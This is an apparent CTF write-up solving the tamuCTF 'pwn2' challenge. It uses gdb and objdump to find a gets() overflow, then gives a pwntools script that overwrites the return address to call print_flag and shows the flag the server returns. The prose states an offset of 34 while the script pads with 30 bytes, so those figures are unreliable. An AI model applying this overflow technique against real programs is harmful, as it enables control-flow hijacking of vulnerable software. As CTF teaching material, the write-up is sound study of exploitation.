_blackb3ard/pwn_exhibit$

pwn notes from an exploit dev wannabe

Home CTF Writeups

tamuCTF: pwn2

tl;dr: buffer overflow into overwrite eip to call print_flag function

Standard for all pwn challenges - we start a simple reconnaisance by using checksec

$ checksec pwn2
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We get the same properties such as the previous pwn challenge. Starting the binary, we get a prompt which asks us which function to call:

$ ./pwn2
    Which function would you like to call?

It waits for user input, and if the user enters a valid function name, it executes that function, else it exits. But we don’t really know which functions to call, so we fire up gdb and look at the disassembly of the binary.

$ gdb ./pwn2
    gdb-peda$ disas main
    Dump of assembler code for function main:
       [...]
       0x0000080d <+49>:	add    esp,0x10
       0x00000810 <+52>:	sub    esp,0xc
       0x00000813 <+55>:	lea    eax,[ebx-0x1670]
       0x00000819 <+61>:	push   eax
       0x0000081a <+62>:	call   0x500 <puts@plt>
       0x0000081f <+67>:	add    esp,0x10
       0x00000822 <+70>:	sub    esp,0xc
       0x00000825 <+73>:	lea    eax,[ebp-0x27]
       0x00000828 <+76>:	push   eax
       0x00000829 <+77>:	call   0x4e0 <gets@plt>
       0x0000082e <+82>:	add    esp,0x10
       0x00000831 <+85>:	sub    esp,0xc
       0x00000834 <+88>:	lea    eax,[ebp-0x27]
       0x00000837 <+91>:	push   eax
       0x00000838 <+92>:	call   0x77f <select_func>
       [...]

Interestingly enough, a gets call is executed to ask for the user input, which can be the entry point for our exploit. But another function to take note of is select_func which uses the buffer at [ebp-0x27] as the argument. Let’s have a look at all the functions in the binary so we know what options are available for us to choose from:

gdb-peda$ info functions
    [...]
    0x000006ad  two
    0x000006d8  print_flag
    0x00000754  one
    0x0000077f  select_func
    0x000007dc  main
    [...]

We see the functions main and select func, which we already know by disassembling the main function of the binary. And we see the interesting functions, one, two, and print_flag: if we try to input these options in the prompt, maybe it’ll give us the flag of the challenge.

$ ./pwn2
Which function would you like to call?
one
This is function one!

$ ./pwn2
two

$ ./pwn2
print_flag

Sadly, we get nothing out of it. We do want to be able to execute the print_flag function tho, as we know it prints the flag for us. Remember that the input uses gets to get user input? We can utilize that vulnerability to perform a buffer overflow into overwriting the eip register to point to the address of the print_flag function. Before we do that, we need to know the address of the function. We can do that using objdump:

$ objdump -M intel -d pwn2 | grep print_flag
    000006d8 <print_flag>:
        [...]

We take a note that print_flag’s address is at 0x000006d8. Next thing we need to know is the exact size of the buffer to trigger the segmentation fault. Though the buffer is stored at address [ebp-0x27] which has a size of 39, the exact offset to overflow the buffer and overwrite the eip register is at offset 34. We can now create a short exploit script and send the result to the server to get the flag.

exploit.py

from pwn import *

#: Connect to challenge server
HOST = 'pwn.tamuctf.com'
PORT = 4322
conn = remote(HOST, PORT)

#: Exploit code
offset = 'A' * 30
eip = p32(0x000006d8)
exploit = offset + eip

#: Send data
print(conn.recvline())
conn.sendline(exploit)
print(conn.recvline())
print(conn.recvline())

And the script returns us the flag!

$ python exploit.py

    Which function would you like to call?

    This function is still under development.

    gigem{4ll_17_74k35_15_0n3}